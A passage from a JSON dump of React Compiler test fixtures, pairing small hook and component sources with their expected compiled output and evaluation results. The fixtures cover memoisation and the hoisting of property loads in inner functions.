    "content": "import {createHookWrapper} from 'shared-runtime';\n\n/**\n * Assume that conditionally returned functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback({\n  obj,\n  shouldMakeCb,\n  setState,\n}: {\n  obj: {value: number};\n  shouldMakeCb: boolean;\n  setState: (newState: number) => void;\n}) {\n  const cb = () => setState(obj.value);\n  if (shouldMakeCb) return cb;\n  else return null;\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, shouldMakeCb: true, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, shouldMakeCb: true, setState},\n    {obj: {value: 2}, shouldMakeCb: true, setState},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useState} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction useMakeCallback({obj}: {obj: {value: number}}) {\n  const [state, setState] = useState(0);\n  const cb = () => {\n    if (obj.value !== state) setState(obj.value);\n  };\n  useIdentity();\n  cb();\n  return [cb];\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useState } from \"react\";\nimport { useIdentity } from \"shared-runtime\";\n\nfunction useMakeCallback(t0) {\n  const $ = _c(5);\n  const { obj } = t0;\n  const [state, setState] = useState(0);\n  let t1;\n  if ($[0] !== obj.value || $[1] !== state) {\n    t1 = () => {\n      if (obj.value !== state) {\n        setState(obj.value);\n      }\n    };\n    $[0] = obj.value;\n    $[1] = state;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const cb = t1;\n\n  useIdentity();\n  cb();\n  let t2;\n  if ($[3] !== cb) {\n    t2 = [cb];\n    $[3] = cb;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{ obj: { value: 1 } }],\n  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"[[ function params=0 ]]\"]\n[\"[[ function params=0 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/direct-call.ts",
    "content": "import {useState} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\nfunction useMakeCallback({obj}: {obj: {value: number}}) {\n  const [state, setState] = useState(0);\n  const cb = () => {\n    if (obj.value !== state) setState(obj.value);\n  };\n  useIdentity();\n  cb();\n  return [cb];\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\n\n/**\n * (Given that the returned lambda is assumed to be invoked, see\n * return-function)\n *\n * If lambda A conditionally calls lambda B, optimistically assume that property\n * loads from lambda B has the same hoistability of ones from lambda A. This\n * helps optimize components / hooks that create and chain many helper\n * functions.\n *\n * Type systems and code readability encourage developers to colocate length and\n * null checks values in the same function as where values are used. i.e.\n * developers are unlikely to write the following code.\n * ```js\n * function useFoo(obj, objNotNullAndHasElements) {\n *   // ...\n *   const get0th = () => obj.arr[0].value;\n *   return () => objNotNullAndHasElements ? get0th : undefined;\n * }\n * ```\n *\n * In Meta code, this assumption helps reduce the number of memo dependency\n * deopts.\n */\nfunction useMakeCallback({\n  obj,\n  cond,\n  setState,\n}: {\n  obj: {value: number};\n  cond: boolean;\n  setState: (newState: number) => void;\n}) {\n  const cb = () => setState(obj.value);\n  // cb's property loads are assumed to be hoistable to the start of this lambda\n  return () => (cond ? cb() : undefined);\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, cond: true, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, cond: true, setState},\n    {obj: {value: 2}, cond: true, setState},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\n\n/**\n * (Given that the returned lambda is assumed to be invoked, see\n * return-function)\n *\n * If lambda A conditionally calls lambda B, optimistically assume that property\n * loads from lambda B has the same hoistability of ones from lambda A. This\n * helps optimize components / hooks that create and chain many helper\n * functions.\n *\n * Type systems and code readability encourage developers to colocate length and\n * null checks values in the same function as where values are used. i.e.\n * developers are unlikely to write the following code.\n * ```js\n * function useFoo(obj, objNotNullAndHasElements) {\n *   // ...\n *   const get0th = () => obj.arr[0].value;\n *   return () => objNotNullAndHasElements ? get0th : undefined;\n * }\n * ```\n *\n * In Meta code, this assumption helps reduce the number of memo dependency\n * deopts.\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(6);\n  const { obj, cond, setState } = t0;\n  let t1;\n  if ($[0] !== obj.value || $[1] !== setState) {\n    t1 = () => setState(obj.value);\n    $[0] = obj.value;\n    $[1] = setState;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const cb = t1;\n  let t2;\n  if ($[3] !== cb || $[4] !== cond) {\n    t2 = () => (cond ? cb() : undefined);\n    $[3] = cb;\n    $[4] = cond;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nconst setState = (arg: number) => {\n  \"use no memo\";\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{ obj: { value: 1 }, cond: true, setState }],\n  sequentialRenders: [\n    { obj: { value: 1 }, cond: true, setState },\n    { obj: { value: 2 }, cond: true, setState },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"result\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/function-with-conditional-callsite-in-another-function.ts",
    "content": "import {createHookWrapper} from 'shared-runtime';\n\n/**\n * (Given that the returned lambda is assumed to be invoked, see\n * return-function)\n *\n * If lambda A conditionally calls lambda B, optimistically assume that property\n * loads from lambda B has the same hoistability of ones from lambda A. This\n * helps optimize components / hooks that create and chain many helper\n * functions.\n *\n * Type systems and code readability encourage developers to colocate length and\n * null checks values in the same function as where values are used. i.e.\n * developers are unlikely to write the following code.\n * ```js\n * function useFoo(obj, objNotNullAndHasElements) {\n *   // ...\n *   const get0th = () => obj.arr[0].value;\n *   return () => objNotNullAndHasElements ? get0th : undefined;\n * }\n * ```\n *\n * In Meta code, this assumption helps reduce the number of memo dependency\n * deopts.\n */\nfunction useMakeCallback({\n  obj,\n  cond,\n  setState,\n}: {\n  obj: {value: number};\n  cond: boolean;\n  setState: (newState: number) => void;\n}) {\n  const cb = () => setState(obj.value);\n  // cb's property loads are assumed to be hoistable to the start of this lambda\n  return () => (cond ? cb() : undefined);\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, cond: true, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, cond: true, setState},\n    {obj: {value: 2}, cond: true, setState},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper, useIdentity} from 'shared-runtime';\n\n/**\n * Assume that functions passed hook arguments are invoked and that their\n * property loads are hoistable.\n */\nfunction useMakeCallback({\n  obj,\n  setState,\n}: {\n  obj: {value: number};\n  setState: (newState: number) => void;\n}) {\n  const cb = useIdentity(() => setState(obj.value));\n  return cb;\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, setState},\n    {obj: {value: 2}, setState},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper, useIdentity } from \"shared-runtime\";\n\n/**\n * Assume that functions passed hook arguments are invoked and that their\n * property loads are hoistable.\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(3);\n  const { obj, setState } = t0;\n  let t1;\n  if ($[0] !== obj.value || $[1] !== setState) {\n    t1 = () => setState(obj.value);\n    $[0] = obj.value;\n    $[1] = setState;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  const cb = useIdentity(t1);\n  return cb;\n}\n\nconst setState = (arg: number) => {\n  \"use no memo\";\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{ obj: { value: 1 }, setState }],\n  sequentialRenders: [\n    { obj: { value: 1 }, setState },\n    { obj: { value: 2 }, setState },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"result\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/hook-call.ts",
    "content": "import {createHookWrapper, useIdentity} from 'shared-runtime';\n\n/**\n * Assume that functions passed hook arguments are invoked and that their\n * property loads are hoistable.\n */\nfunction useMakeCallback({\n  obj,\n  setState,\n}: {\n  obj: {value: number};\n  setState: (newState: number) => void;\n}) {\n  const cb = useIdentity(() => setState(obj.value));\n  return cb;\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, setState},\n    {obj: {value: 2}, setState},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\n\nfunction useFoo({arr1}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const x = arr1.map(cb1);\n  return [x, cb1];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useFoo),\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(8);\n  const { arr1 } = t0;\n  let t1;\n  if ($[0] !== arr1[0]) {\n    t1 = (e) => arr1[0].value + e.value;\n    $[0] = arr1[0];\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb1 = t1;\n  let t2;\n  if ($[2] !== arr1 || $[3] !== cb1) {\n    t2 = arr1.map(cb1);\n    $[2] = arr1;\n    $[3] = cb1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  const x = t2;\n  let t3;\n  if ($[5] !== cb1 || $[6] !== x) {\n    t3 = [x, cb1];\n    $[5] = cb1;\n    $[6] = x;\n    $[7] = t3;\n  } else {\n    t3 = $[7];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useFoo),\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":[[],\"[[ function params=1 ]]\"],\"shouldInvokeFns\":true}</div>\n<div>{\"result\":[[],\"[[ function params=1 ]]\"],\"shouldInvokeFns\":true}</div>\n<div>{\"result\":[[2,3],\"[[ function params=1 ]]\"],\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-and-passed.ts",
    "content": "import {createHookWrapper} from 'shared-runtime';\n\nfunction useFoo({arr1}) {\n  const cb1 = e => arr1[0].value + e.value;\n  const x = arr1.map(cb1);\n  return [x, cb1];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useFoo),\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Assume that functions captured directly as jsx attributes are invoked and\n * that their property loads are hoistable.\n */\nfunction useMakeCallback({\n  obj,\n  setState,\n}: {\n  obj: {value: number};\n  setState: (newState: number) => void;\n}) {\n  return <Stringify cb={() => setState(obj.value)} shouldInvokeFns={true} />;\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, setState},\n    {obj: {value: 2}, setState},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction useMakeCallback(t0) {\n  const $ = _c(3);\n  const { obj, setState } = t0;\n  let t1;\n  if ($[0] !== obj.value || $[1] !== setState) {\n    t1 = <Stringify cb={() => setState(obj.value)} shouldInvokeFns={true} />;\n    $[0] = obj.value;\n    $[1] = setState;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nconst setState = (arg: number) => {\n  \"use no memo\";\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{ obj: { value: 1 }, setState }],\n  sequentialRenders: [\n    { obj: { value: 1 }, setState },\n    { obj: { value: 2 }, setState },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"cb\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"cb\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/jsx-function.tsx",
    "content": "// @flow\nimport {Stringify} from 'shared-runtime';\n\n/**\n * Assume that functions captured directly as jsx attributes are invoked and\n * that their property loads are hoistable.\n */\nfunction useMakeCallback({\n  obj,\n  setState,\n}: {\n  obj: {value: number};\n  setState: (newState: number) => void;\n}) {\n  return <Stringify cb={() => setState(obj.value)} shouldInvokeFns={true} />;\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, setState},\n    {obj: {value: 2}, setState},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {createHookWrapper} from 'shared-runtime';\n\n/**\n * Assume that directly returned functions are invoked and that their property\n * loads are hoistable.\n */\nfunction useMakeCallback({\n  obj,\n  setState,\n}: {\n  obj: {value: number};\n  setState: (newState: number) => void;\n}) {\n  return () => setState(obj.value);\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, setState},\n    {obj: {value: 2}, setState},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { createHookWrapper } from \"shared-runtime\";\n\n/**\n * Assume that directly returned functions are invoked and that their property\n * loads are hoistable.\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(3);\n  const { obj, setState } = t0;\n  let t1;\n  if ($[0] !== obj.value || $[1] !== setState) {\n    t1 = () => setState(obj.value);\n    $[0] = obj.value;\n    $[1] = setState;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nconst setState = (arg: number) => {\n  \"use no memo\";\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{ obj: { value: 1 }, setState }],\n  sequentialRenders: [\n    { obj: { value: 1 }, setState },\n    { obj: { value: 2 }, setState },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"result\":{\"kind\":\"Function\",\"result\":1},\"shouldInvokeFns\":true}</div>\n<div>{\"result\":{\"kind\":\"Function\",\"result\":2},\"shouldInvokeFns\":true}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/return-function.ts",
    "content": "import {createHookWrapper} from 'shared-runtime';\n\n/**\n * Assume that directly returned functions are invoked and that their property\n * loads are hoistable.\n */\nfunction useMakeCallback({\n  obj,\n  setState,\n}: {\n  obj: {value: number};\n  setState: (newState: number) => void;\n}) {\n  return () => setState(obj.value);\n}\n\nconst setState = (arg: number) => {\n  'use no memo';\n  return arg;\n};\nexport const FIXTURE_ENTRYPOINT = {\n  fn: createHookWrapper(useMakeCallback),\n  params: [{obj: {value: 1}, setState}],\n  sequentialRenders: [\n    {obj: {value: 1}, setState},\n    {obj: {value: 2}, setState},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateExhaustiveMemoizationDependencies:false\nimport {useState, useMemo} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * Assume that conditionally called functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback({\n  obj,\n  shouldSynchronizeState,\n}: {\n  obj: {value: number};\n  shouldSynchronizeState: boolean;\n}) {\n  const [state, setState] = useState(0);\n  const cb = useMemo(() => {\n    return () => {\n      if (obj.value !== 0) setState(obj.value);\n    };\n  }, [obj.value, shouldSynchronizeState]);\n  useIdentity(null);\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validateExhaustiveMemoizationDependencies:false\nimport { useState, useMemo } from \"react\";\nimport { useIdentity } from \"shared-runtime\";\n\n/**\n * Assume that conditionally called functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(2);\n  const { obj, shouldSynchronizeState } = t0;\n  const [, setState] = useState(0);\n  let t1;\n  if ($[0] !== obj.value) {\n    t1 = () => {\n      if (obj.value !== 0) {\n        setState(obj.value);\n      }\n    };\n    $[0] = obj.value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb = t1;\n\n  useIdentity(null);\n  return cb;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{ obj: { value: 1 } }],\n  sequentialRenders: [{ obj: { value: 1 } }, { obj: { value: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\"\n\"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/assume-invoked/use-memo-returned.ts",
    "content": "// @validateExhaustiveMemoizationDependencies:false\nimport {useState, useMemo} from 'react';\nimport {useIdentity} from 'shared-runtime';\n\n/**\n * Assume that conditionally called functions can be invoked and that their\n * property loads are hoistable to the function declaration site.\n */\nfunction useMakeCallback({\n  obj,\n  shouldSynchronizeState,\n}: {\n  obj: {value: number};\n  shouldSynchronizeState: boolean;\n}) {\n  const [state, setState] = useState(0);\n  const cb = useMemo(() => {\n    return () => {\n      if (obj.value !== 0) setState(obj.value);\n    };\n  }, [obj.value, shouldSynchronizeState]);\n  useIdentity(null);\n  return cb;\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{obj: {value: 1}}],\n  sequentialRenders: [{obj: {value: 1}}, {obj: {value: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({arr1, arr2}) {\n  const cb = e => arr2[0].value + e.value;\n  const y = [];\n  for (let i = 0; i < arr1.length; i++) {\n    y.push(cb(arr1[i]));\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(5);\n  const { arr1, arr2 } = t0;\n  let t1;\n  if ($[0] !== arr2[0].value) {\n    t1 = (e) => arr2[0].value + e.value;\n    $[0] = arr2[0].value;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const cb = t1;\n  let y;\n  if ($[2] !== arr1 || $[3] !== cb) {\n    y = [];\n    for (let i = 0; i < arr1.length; i++) {\n      y.push(cb(arr1[i]));\n    }\n    $[2] = arr1;\n    $[3] = cb;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ arr1: [], arr2: [] }],\n  sequentialRenders: [\n    { arr1: [], arr2: [] },\n    { arr1: [], arr2: null },\n    { arr1: [{ value: 1 }, { value: 2 }], arr2: [{ value: -1 }] },\n  ],\n};\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/bug-invalid-array-map-manual.js",
    "content": "function useFoo({arr1, arr2}) {\n  const cb = e => arr2[0].value + e.value;\n  const y = [];\n  for (let i = 0; i < arr1.length; i++) {\n    y.push(cb(arr1[i]));\n  }\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{arr1: [], arr2: []}],\n  sequentialRenders: [\n    {arr1: [], arr2: []},\n    {arr1: [], arr2: null},\n    {arr1: [{value: 1}, {value: 2}], arr2: [{value: -1}]},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.expect.md",
    "content": "\n## Input\n\n```javascript\n/**\n * Assume that only directly returned functions or JSX attributes are invoked.\n * Conservatively estimate that functions wrapped in objects or other containers\n * might never be called (and therefore their property loads are not hoistable).\n */\nfunction useMakeCallback({arr}) {\n  return {\n    getElement0: () => arr[0].value,\n    getElement1: () => arr[1].value,\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{arr: [1, 2]}],\n  sequentialRenders: [{arr: [1, 2]}, {arr: []}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; /**\n * Assume that only directly returned functions or JSX attributes are invoked.\n * Conservatively estimate that functions wrapped in objects or other containers\n * might never be called (and therefore their property loads are not hoistable).\n */\nfunction useMakeCallback(t0) {\n  const $ = _c(2);\n  const { arr } = t0;\n  let t1;\n  if ($[0] !== arr) {\n    t1 = { getElement0: () => arr[0].value, getElement1: () => arr[1].value };\n    $[0] = arr;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{ arr: [1, 2] }],\n  sequentialRenders: [{ arr: [1, 2] }, { arr: [] }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"getElement0\":\"[[ function params=0 ]]\",\"getElement1\":\"[[ function params=0 ]]\"}\n{\"getElement0\":\"[[ function params=0 ]]\",\"getElement1\":\"[[ function params=0 ]]\"}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-function/nullable-objects/return-object-of-functions.js",
    "content": "/**\n * Assume that only directly returned functions or JSX attributes are invoked.\n * Conservatively estimate that functions wrapped in objects or other containers\n * might never be called (and therefore their property loads are not hoistable).\n */\nfunction useMakeCallback({arr}) {\n  return {\n    getElement0: () => arr[0].value,\n    getElement1: () => arr[1].value,\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useMakeCallback,\n  params: [{arr: [1, 2]}],\n  sequentialRenders: [{arr: [1, 2]}, {arr: []}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-dynamic.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const item = useFragment(FRAGMENT, props.item);\n  useFreeze(item);\n\n  const count = new MaybeMutable(item);\n  return (\n    <View>\n      <View>\n        {<span>Text</span>}\n        {<span>{maybeMutate(count)}</span>}\n      </View>\n    </View>\n  );\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(15);\n  const item = useFragment(FRAGMENT, props.item);\n  useFreeze(item);\n  let T0;\n  let T1;\n  let t0;\n  let t1;\n  if ($[0] !== item) {\n    const count = new MaybeMutable(item);\n    T1 = View;\n    T0 = View;\n    if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = <span>Text</span>;\n      $[5] = t1;\n    } else {\n      t1 = $[5];\n    }\n    t0 = maybeMutate(count);\n    $[0] = item;\n    $[1] = T0;\n    $[2] = T1;\n    $[3] = t0;\n    $[4] = t1;\n  } else {\n    T0 = $[1];\n    T1 = $[2];\n    t0 = $[3];\n    t1 = $[4];\n  }\n  let t2;\n  if ($[6] !== t0) {\n    t2 = <span>{t0}</span>;\n    $[6] = t0;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  let t3;\n  if ($[8] !== T0 || $[9] !== t1 || $[10] !== t2) {\n    t3 = (\n      <T0>\n        {t1}\n        {t2}\n      </T0>\n    );\n    $[8] = T0;\n    $[9] = t1;\n    $[10] = t2;\n    $[11] = t3;\n  } else {\n    t3 = $[11];\n  }\n  let t4;\n  if ($[12] !== T1 || $[13] !== t3) {\n    t4 = <T1>{t3}</T1>;\n    $[12] = T1;\n    $[13] = t3;\n    $[14] = t4;\n  } else {\n    t4 = $[14];\n  }\n  return t4;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-dynamic.js",
    "content": "function Component(props) {\n  const item = useFragment(FRAGMENT, props.item);\n  useFreeze(item);\n\n  const count = new MaybeMutable(item);\n  return (\n    <View>\n      <View>\n        {<span>Text</span>}\n        {<span>{maybeMutate(count)}</span>}\n      </View>\n    </View>\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/inner-memo-value-not-promoted-to-outer-scope-static.expect.md",
